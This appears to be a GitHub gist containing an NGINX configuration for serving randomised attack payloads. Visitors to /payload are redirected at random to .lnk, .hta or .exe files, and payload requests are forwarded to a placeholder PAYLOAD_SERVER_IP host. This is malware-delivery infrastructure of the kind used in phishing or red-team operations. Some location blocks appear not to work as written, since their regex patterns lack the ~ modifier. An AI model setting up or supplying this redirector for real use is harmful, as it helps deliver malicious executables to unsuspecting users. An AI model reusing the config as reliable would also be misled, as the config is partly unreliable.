Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save maurorisonho/698cf820194cac273a32dfdf411f3e46 to your computer and use it in GitHub Desktop.

Select an option

Save maurorisonho/698cf820194cac273a32dfdf411f3e46 to your computer and use it in GitHub Desktop.

Revisions

  1. @jivoi jivoi created this gist Jun 14, 2017.
    34 changes: 34 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,34 @@
    # Serving Random Payloads with NGINX
    # add set_random module https://github.com/openresty/set-misc-nginx-module#set_random
    # edit file /etc/nginx/sites-enabled/default

    set_random $uri 1 3;

    map $uri $payloads {
    1 /payload.lnk;
    2 /payload.hta;
    3 /payload.exe;
    }

    server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name _;

    root /var/www;

    index index.html;

    location ^/payload/?$ {
    rewrite ^/payload/?$ /$payloads redirect;
    }

    location ^/payload\.(exe|lnk|hta) {
    rewrite ^/payload\.(exe|lnk|hta) http://PAYLOAD_SERVER_IP$request_uri redirect;
    }

    location / {
    try_files $uri $uri/ =404;
    }
    }